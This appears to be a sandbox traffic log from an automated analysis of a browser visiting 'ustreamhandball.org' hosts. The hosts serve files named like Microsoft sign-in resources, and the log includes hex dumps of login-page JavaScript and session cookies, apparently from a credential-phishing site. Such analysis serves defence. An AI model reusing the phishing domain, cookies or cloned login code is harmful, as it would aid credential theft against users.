2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 61 69 6c 3a 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 41 6c 74 45 6d 61 69 6c 3a 74 3d 6e 3f 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 45 6e 63 72 79 70 74 65 64 3a 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 56 32 3a 74 3d 6c 2e 53 65 73 73 69 6f 6e 41 70 70 72 6f 76 65 72 7d 72 65 74 75 72 6e 20 74 7d 3b 6e 2e 50 72 6f 6f 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c Data Ascii: ail:case PROOF.Type.AltEmail:t=n?l.EmailAddressEncrypted:l.EmailAddress;break;case PROOF.Type.TOTPAuthenticatorV2:t=l.SessionApprover}return t};n.Proof=function(e){var n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|
2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 66 3d 7a 65 28 65 2c 21 30 2c 6e 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 66 2c 51 65 29 2c 70 3d 70 2e 63 6f 6e 63 61 74 28 66 29 29 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 3b 69 66 28 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 69 3d 7a 65 28 65 2c 21 31 2c 6e 29 3b 69 2e 6c 65 6e 67 74 Data Ascii: [PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var f=ze(e,!0,n);f.length>0&&(c.Array.forEach(f,Qe),p=p.concat(f))}return p}function en(e,n){var t=[];if(Se[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var i=ze(e,!1,n);i.lengt
2025-01-09 23:21:25 UTC	3	IN	Data Raw: 67 2c 67 Data Ascii: g,g
2025-01-09 23:21:25 UTC	16383	IN	Data Raw: 3d 72 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 2c 6d 3d 72 2e 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 2c 62 3d 72 2e 44 69 61 6c 6f 67 49 64 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 65 2e 73 65 72 76 65 72 44 61 74 61 2c 61 3d 65 2e 75 73 65 72 6e 61 6d 65 2c 72 3d 65 2e 61 76 61 69 6c 61 62 6c 65 43 72 65 64 73 7c 7c 5b 5d 2c 75 3d 65 2e 63 75 72 72 65 6e 74 43 72 65 64 7c 7c 7b 7d 2c 70 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 2c 76 3d 65 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 72 6c 46 Data Ascii: =r.PaginatedState,m=r.CredentialType,b=r.DialogId;function v(e){var n=this,t=e.serverData,a=e.username,r=e.availableCreds\|\|[],u=e.currentCred\|\|{},p=e.flowToken,v=e.showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.urlF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49966	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:25 UTC	485	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:25 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:25 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:25 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:25 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:25 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:25 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:25 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:25 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 35 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:25 GMT
2025-01-09 23:21:25 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 44 34 34 41 38 43 45 45 34 46 34 0d 0a Data Ascii: Etag: 0x8DB5D44A8CEE4F4
2025-01-09 23:21:25 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 35 20 4d 61 79 20 32 30 32 33 20 31 37 3a 32 32 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 25 May 2023 17:22:47 GMT
2025-01-09 23:21:25 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49967	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:25 UTC	741	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:25 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:25 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:25 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:25 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:25 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:25 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:25 UTC	28	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 0d 0a Data Ascii: Content-Type: image/x-icon
2025-01-09 23:21:25 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 35 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:25 GMT
2025-01-09 23:21:25 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 33 31 32 33 30 43 38 35 31 41 36 0d 0a Data Ascii: Etag: 0x8D8731230C851A6
2025-01-09 23:21:25 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 31 38 20 4f 63 74 20 32 30 32 30 20 30 33 3a 30 32 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
2025-01-09 23:21:25 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49968	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:25 UTC	710	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:25 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:25 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:25 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:25 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:25 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:25 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:25 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:25 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 35 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:25 GMT
2025-01-09 23:21:25 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 35 36 45 45 36 41 38 32 37 35 36 0d 0a Data Ascii: Etag: 0x8DD156EE6A82756
2025-01-09 23:21:25 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 30 35 20 44 65 63 20 32 30 32 34 20 32 30 3a 35 33 3a 34 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 05 Dec 2024 20:53:41 GMT
2025-01-09 23:21:25 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49970	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:25 UTC	1493	OUT	GET /common/handlers/watson HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:21:25 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:25 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:25 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:25 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-09 23:21:25 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 35 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:25 GMT
2025-01-09 23:21:25 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:21:25 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:25 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:25 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:21:25 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:21:25 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49976	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:26 UTC	497	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:26 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:26 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:26 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:26 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:26 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:26 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:26 UTC	28	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 0d 0a Data Ascii: Content-Type: image/x-icon
2025-01-09 23:21:26 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:26 GMT
2025-01-09 23:21:26 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 33 31 32 33 30 43 38 35 31 41 36 0d 0a Data Ascii: Etag: 0x8D8731230C851A6
2025-01-09 23:21:26 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 31 38 20 4f 63 74 20 32 30 32 30 20 30 33 3a 30 32 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
2025-01-09 23:21:26 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49982	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
